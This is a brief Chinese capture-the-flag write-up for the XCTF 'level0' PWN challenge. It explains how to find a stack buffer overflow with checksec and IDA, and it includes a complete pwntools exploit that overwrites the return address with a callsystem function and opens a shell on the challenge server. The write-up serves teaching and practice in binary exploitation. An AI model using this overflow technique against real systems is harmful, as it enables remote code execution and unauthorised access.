攻防世界PWN简单题 level0
开始考验栈溢出的相关知识了
Checksec 一下文件 看看都开了什么保护 和 是多少位的程序
发现是64位的程序, 扔进IDA64。IDA YYDS。。
进入主函数,通过伪代码分析逻辑,找出栈溢出漏洞
找到了栈溢出漏洞,开始寻找攻击手段。
找到了攻击手段。简单题就是如此简单。找一下callsystem地址,当然也可以直接用pwntools获取
找到了需要的地址0X400596
开始写exp攻击远程服务器
from pwn import *
io = remote ('111.200.241.244',49536)
#连接远程
elf = ELF('./291721f42a044f50a2aead748d539df0')
#打开本地程序,如果不想用pwntools获取callsystem地址,此步可以注释
payload = b'a'*(0x80+0x8) + p64(elf.symbols['callsystem'])
#构造payload 需要覆盖0x80个地址+上个ebp地址
#也可p64()中替换成0x0x00400596
io.recvuntil("Hello, World\n")
#接收远程的返回
io.send(payload)
#发送payload
io.interactive()
#开始互动,恭喜你获得了shell去查看flag吧
丢进环境,运行一下,ls, cat flag。。。
老师!!!交卷!